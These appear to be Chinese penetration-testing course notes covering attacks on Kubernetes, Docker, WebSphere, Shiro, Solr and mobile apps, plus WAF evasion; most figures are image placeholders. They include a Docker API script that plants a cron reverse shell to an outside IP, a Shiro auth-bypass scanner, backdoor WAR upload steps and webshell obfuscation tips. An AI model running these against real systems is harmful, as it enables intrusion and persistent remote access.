    for url in open('urls.txt'):
        url = url.strip()
        read_pass(url)
        read_windows(url)
        read_linux(url)

Day61--服务攻防-中间件安全_CVE复现_K8s_Docker_Jetty_Websphere

K8s(一般漏洞是未授权访问)

判断对方是否为K8s,K8s的某些组件会开放一些特殊端口,在端口扫描的时候,如果扫到有特殊的端口,则估且认为有K8s

web安全学习_第354张图片

web安全学习_第355张图片

K8s爬虫代码,如果没有K8s,网页返回Unauthorized

web安全学习_第356张图片

web安全学习_第357张图片

Docker(逃逸漏洞)

由于docker比较于其他中间件,自身特殊,docker所搭建的环境是虚拟的,与主机环境互不影响,因此要突破虚拟进入真实主机需要逃逸

web安全学习_第358张图片

如何判断提权后是在主机还是在docker镜像

web安全学习_第359张图片

docker daemon api 未授权访问

web安全学习_第360张图片

脚本

import docker

client = docker.DockerClient(base_url='http://47.94.236.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 47.94.236.117 5566 -e /bin/sh' >> /tmp/etc/crontabs/xiaodi" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

反弹shell 

WebSphere(java开发)

web安全学习_第361张图片

web安全学习_第362张图片

CVE-2015-7450 反序列化

web安全学习_第363张图片

弱口令 WebSphere后台默认管理的端口是9060,http协议端口9080,https协议端口9443

用哥斯拉生成后门jsp文件,然后将jsp文件压缩成zip,修改文件后缀为war,上传到管理后台

web安全学习_第364张图片

web安全学习_第365张图片

上传成功后访问进入后门

web安全学习_第366张图片

Jetty(java开发)敏感信息泄露

web安全学习_第367张图片

Day62--服务攻防-框架安全_CVE复现_Spring_Struts_Laravel_ThinkPHP

web安全学习_第368张图片

根据后缀名判断是否为struts2的框架(.action后缀)        

web安全学习_第369张图片

Spring框架漏洞

web安全学习_第370张图片

web安全学习_第371张图片

Day63--服务攻防-框架安全_CVE复现_Django_Flask_Node.JS_JQuery

web安全学习_第372张图片

CVE_2017_14849

web安全学习_第373张图片

漏洞利用:修改请求头,访问etc/passwd目录下的文件

web安全学习_第374张图片

CVE_2021_21315

web安全学习_第375张图片

Penetration Testing Kit

Day64--服务攻防-框架安全_CVE复现_Apache shiro_Apache Solr

Apache-Shior 

web安全学习_第376张图片

数据包关键字

web安全学习_第377张图片

CVE-2020-11989

web安全学习_第378张图片

从白盒角度分析漏洞成因

web安全学习_第379张图片

CVE-2020-1957

web安全学习_第380张图片

web安全学习_第381张图片

脚本

import requests

for url in open("shiro.txt"):
    url = "http://" + url.strip() + "/;/login"
    try:
        code = requests.get(url).status_code
        print(str(code))
        if code == 200:
            print(url + "--> |ok")
    except Exception as e:
        pass

Apache-Solr

web安全学习_第382张图片

web安全学习_第383张图片

CVE-2019-0193(利用条件:登录到后台)

web安全学习_第384张图片

web安全学习_第385张图片

Day67--APP攻防-Frida反证书抓包_移动安全系统_资产提取_评估扫描

对app进行抓包,分情况:

抓不到:1、没走http/s代理 - 用其他协议,全局抓包 2、反代理或证书校验的检测 防抓包的机制

抓得到

web安全学习_第386张图片

查看模拟器的位数 

抓取模拟器进程 

web安全学习_第387张图片

web安全学习_第388张图片

win+R输入命令:

frida-ps -U

frida-ps -R ,如果执行失败,那么在adb目录进行中转,执行命令

adb forward tcp:27042 tcp:27042,在执行frida-ps -R

web安全学习_第389张图片

r0capture工具 

-U        加上app的包名

-p        加上生成的pcap的文件名(pcap是wireshark的提取文件格式)

web安全学习_第390张图片

web安全学习_第391张图片

frida配合脚本进行抓包然后生成.pacp文件,在wireshark中打开分析 

web安全学习_第392张图片

web安全学习_第393张图片

appinfo        mobsf        r0capture(安卓抓包工具)        frida

Day68--APP攻防-Xposed_Frida_Hook_证书校验_反代理_代理转发

web安全学习_第394张图片

web安全学习_第395张图片

web安全学习_第396张图片

web安全学习_第397张图片

Day69--APP攻防-反编译_查壳脱壳_重打包签名_修改次数会员版权限制

web安全学习_第398张图片

逆向:

web安全学习_第399张图片

web安全学习_第400张图片

修改次数和VIP限制(smali语法)

web安全学习_第401张图片

Day70--APP攻防-微信小程序_解包反编译_数据抓包_APK信息资源提取

web安全学习_第402张图片

web安全学习_第403张图片

APK Messenger

Day77--WAF攻防-权限控制_代码免杀_异或运算_变量覆盖_混淆加密_传参

php脚本后门(免杀)

web安全学习_第404张图片

web安全学习_第405张图片

由于阿里云会屏蔽eval,所以将eval改成assert

web安全学习_第406张图片

总结

 web安全学习_第407张图片

3、异或运算

web安全学习_第408张图片

Day78--WAF攻防--菜刀、冰蝎、哥斯拉、流量通讯、特征绕过、检测放射、感知

web安全学习_第409张图片

主流是机器语言和行为分析,宝塔是正则匹配,不安全,易绕过

payload可以理解为漏洞的利用代码,一段数据

冰蝎的工作原理:

web安全学习_第410张图片

web安全学习_第411张图片        

web安全学习_第412张图片

Day79--WAF攻防--漏洞发现&协议&代理池&Goby&AWVS&Xray

web安全学习_第413张图片

web安全学习_第414张图片 

针对手动测试,设置代理服务器,只对谷歌浏览器设置代理

web安全学习_第415张图片

web安全学习_第416张图片

web安全学习_第417张图片

用sqlmap检测:

web安全学习_第418张图片 

Day80--WAF攻防--漏洞利用&HPP污染&分块传输&垃圾数据

垃圾数据:根据不同平台的差异,用垃圾数据从而实现绕过

web安全学习_第419张图片

web安全学习_第420张图片

web安全学习_第421张图片

 web安全学习_第422张图片

web安全学习_第423张图片

你可能感兴趣的:(网络安全,web安全,学习)